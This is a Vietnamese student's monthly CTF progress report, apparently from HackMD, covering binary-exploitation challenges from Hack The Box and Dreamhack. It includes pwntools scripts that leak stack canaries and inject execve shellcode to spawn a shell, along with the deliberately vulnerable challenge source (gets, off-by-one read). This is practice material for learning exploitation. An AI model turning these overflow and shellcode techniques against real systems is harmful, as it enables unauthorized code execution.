# Báo cáo tháng 10 : Saitomu ## Tiến trình hc CTF - Học đc tới video 16 của anh trí ## Tiến trình các chall ### Mistake : Hack the box : Author - ko tìm thấy event nữa - Đã giải xong - Chall này return to shell như bth, miễn là điều khiển return theo ý mik thì có thể bypass và nhảy tới lệnh mong muốn Code giải chall: ![image](https://hackmd.io/_uploads/B1XZtGMkbg.png) Code decompiled: ![image](https://hackmd.io/_uploads/SJ_VtMGkZl.png) ### Block bof lv1 : Dreamhack : Author - pwny0 - Đã giải xong - Đặc điểm chính của challenge này là bypass cách check độ dài của string đc nhập vào ![image](https://hackmd.io/_uploads/BkF5jGfkbg.png) ![image](https://hackmd.io/_uploads/HykjiGzkZl.png) - Code lấy chall: ![image](https://hackmd.io/_uploads/SkBhsGMy-e.png) ### Return to Shellcode lv2 : Dreamhack : Author - Dreamhack - Đã giải xong - Source code: ```cpp!= // Name: r2s.c // Compile: gcc -o r2s r2s.c -zexecstack #include <stdio.h> #include <unistd.h> void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } int main() { char buf[0x50]; init(); printf("Address of the buf: %p\n", buf); printf("Distance between buf and $rbp: %ld\n", (char*)__builtin_frame_address(0) - buf); printf("[1] Leak the canary\n"); printf("Input: "); fflush(stdout); read(0, buf, 0x100); printf("Your input is '%s'\n", buf); puts("[2] Overwrite the return address"); printf("Input: "); fflush(stdout); gets(buf); return 0; } ``` - Code lấy chall: ```= #!/usr/bin/python3 from pwn import * #done context.binary = exe = ELF('./r2s') """ b*main+105 """ p = remote("host8.dreamhack.games", 11998) # p = process(exe.path) input() p.recvuntil(b'Address of the buf: ') buf = int(p.recvline(), 16) load = b'A'*89 p.sendafter(b'Input: ', load) p.recvuntil(load) canary = u64(b'\0' + p.recv(7)) log.info("Canary leak: " + hex(canary)) shellcode = asm( """ mov rax, 29400045130965551 push rax mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 0x3b syscall """ ) load = shellcode.ljust(88, b'\0') load += p64(canary) load += b'A'*8 load += p64(buf) p.sendlineafter(b'Input: ', load) p.interactive() ``` - Checksec ![image](https://hackmd.io/_uploads/HJULTzMybx.png) - Chall này NX tắt, canary on nên mik leak canary trc r lợi dụng bof điều khiển chương trình quay nhảy tới shellcode mà mik đã nhập r thực hiện --> lấy đc shell ### Return Address Overwrite lv1 : Author : Dreamhack - Đã giải xong - Đơn giản là điều khiển return bằng bof - Source code: ![image](https://hackmd.io/_uploads/BJz0kXfkbl.png) - Code lấy chall ![image](https://hackmd.io/_uploads/r1y1xmfkbg.png) ### off_by_one_001 lv1 : Author : Dreamhack - Đã giải xong - Chall này mik lợi dụng hàm read sẽ auto thêm byte NULL vào cuối chuỗi input - Source code ```c= #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void read_str(char *ptr, int size) { int len; len = read(0, ptr, size); printf("%d", len); ptr[len] = '\0'; } void get_shell() { system("/bin/sh"); } int main() { char name[20]; int age = 1; initialize(); printf("Name: "); read_str(name, 20); printf("Are you baby?"); if (age == 0) { get_shell(); } else { printf("Ok, chance: \n"); read(0, name, 20); } return 0; } ``` - Code lấy flag: ![image](https://hackmd.io/_uploads/Sy9EQQzkbl.png) ### Obese Canary lv2 : Dreamhack : Author - Rootsquare - Chall này mik còn đang bí sau khi overflow xong thì làm j để lấy shell, nên mik tính hc xong format string r làm chall này tiếp - Hiện tại mik mới chạy lại code mik thì thấy bị lõi khúc nào đó để bypass canary, mik sẽ fix lại sau - Code đang giải hiện tại ```python= #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./main') p = process(exe.path) input() """ b*main+221 b*main+361 """ #first loop p.sendlineafter(b'> ', b'2') load = b'A' * 89 p.sendafter(b'Input operation ', load) #second loop # leak canary p.sendlineafter(b'> ', b'1') p.recvuntil(load) leak = u64(b'\0' + p.recv(7)) log.info("Canary leak: " + hex(leak)) # Control program p.sendlineafter(b'> ', b'2') load = b'A' * 88 load += p64(leak) load += b'A'*8 p.sendafter(b'Input operation ', load) p.sendlineafter(b'> ', b'3') p.interactive() ```